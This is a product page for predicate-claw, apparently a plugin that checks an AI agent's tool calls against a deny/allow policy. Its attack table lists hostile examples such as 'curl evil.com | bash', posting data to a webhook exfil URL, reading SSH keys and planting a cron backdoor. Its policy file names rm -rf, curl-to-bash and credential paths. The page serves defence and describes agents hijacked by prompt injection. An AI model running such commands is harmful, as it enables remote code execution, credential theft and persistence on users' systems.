Agent tries to write /etc/passwd? Blocked in <25ms.
predicate-claw intercepts every tool call before it reaches your OS. Authorize dangerous actions before execution—fail-closed by default.
npm install predicate-claw
Left pane: The Predicate Authority sidecar evaluates every tool request against security policies in real-time, showing ALLOW or DENY decisions with sub-millisecond latency.
Right pane: The integration demo using the real createSecureClawPlugin() SDK—legitimate file reads succeed, while sensitive file access, dangerous shell commands, and prompt injection attacks are blocked before execution.
The sidecar gates execution—a hard boundary the agent can't bypass. No monkey-patching, no best-effort.
OpenClaw requests a tool call. The plugin intercepts before it reaches the OS.
Sidecar checks action + resource against your policy. Allow or deny in <25ms.
If allowed, the tool runs. If denied, OpenClaw gets "permission denied" and adapts—no bypass.
AI agents (OpenClaw) gained reasoning before they gained trust infrastructure. We block these before they run.
No SSH key leaks. No RCE. No exfil. Policy wins—the agent can't override it.
| Attack Vector | Without predicate-claw | With predicate-claw |
|---|---|---|
fs.read ~/.ssh/id_rsa | SSH key leaked | BLOCKED |
shell.exec "curl evil.com | bash" | RCE achieved | BLOCKED |
http.post webhook.site/exfil | Data exfiltrated | BLOCKED |
gmail.delete inbox/** | Emails destroyed | BLOCKED |
fs.write /etc/cron.d/backdoor | Persistence planted | BLOCKED |
Block SSH keys, rm -rf, and exfil in one file. Version-controlled, reviewable in PRs. No security PhD required.
rm -rf, sudo, curl | bash[
{ "effect": "deny", "action": "fs.*", "resource": "~/.ssh/**" },
{ "effect": "deny", "action": "fs.*", "resource": "~/.aws/**" },
{ "effect": "deny", "action": "fs.*", "resource": "**/.env*" },
{ "effect": "deny", "action": "shell.exec", "resource": "*rm -rf*" },
{ "effect": "deny", "action": "shell.exec", "resource": "*curl*|*bash*" },
{ "effect": "deny", "action": "http.post", "resource": "**" },
{ "effect": "allow", "action": "fs.read", "resource": "./src/**" },
{ "effect": "allow", "action": "shell.exec", "resource": "git *" }
]import { createSecureClawPlugin } from "predicate-claw";
export default createSecureClawPlugin({
principal: "agent:my-bot",
sidecarUrl: "http://localhost:8787",
failClosed: true, // deny by default
});Drop-in plugin for OpenClaw. Works with any agent framework via the direct SDK.
When you have more than one OpenClaw agent, you need one place to push policy, revoke access in milliseconds, and prove compliance.
Predicate Vault — centralized policies, global kill-switches, WORM audit.
End of YAML drift. Define policies once, deploy everywhere. Version-controlled with full audit trail.
Revoke any agent or mandate in milliseconds. Principal revocation propagates fleet-wide instantly.
Manage hundreds of sidecars from one dashboard. Real-time health, latency metrics, and policy sync status.
7-year retention, Merkle-anchored logs. SOC2 and HIPAA-ready compliance out of the box.
You built a clever OpenClaw agent that automates your dev workflow. It works great—until it hallucinates rm -rf ~ or exfiltrates your SSH keys to a random webhook. You don't have time to build a security layer from scratch.
import { createSecureClawPlugin } from "predicate-claw";
export default createSecureClawPlugin({
principal: "agent:my-bot",
sidecarUrl: "http://localhost:8787",
failClosed: true, // deny by default
});[
{ "effect": "deny", "action": "fs.*", "resource": "~/.ssh/**" },
{ "effect": "deny", "action": "fs.*", "resource": "~/.aws/**" },
{ "effect": "deny", "action": "fs.*", "resource": "**/.env*" },
{ "effect": "deny", "action": "shell.exec", "resource": "*rm -rf*" },
{ "effect": "deny", "action": "shell.exec", "resource": "*curl*|*bash*" },
{ "effect": "deny", "action": "http.post", "resource": "**" },
{ "effect": "allow", "action": "fs.read", "resource": "./src/**" },
{ "effect": "allow", "action": "shell.exec", "resource": "git *" }
]Your team is deploying OpenClaw agents to production. But one prompt injection in production could mean SSH key leaks or data exfiltration. You need a policy layer that's fast enough to not slow down execution and simple enough to not require a security PhD.
OpenClaw agents are shipping to production with ambient terminal access. Your attack surface just exploded. You need centralized policy management, real-time revocation, and an immutable audit trail—without blocking developer velocity.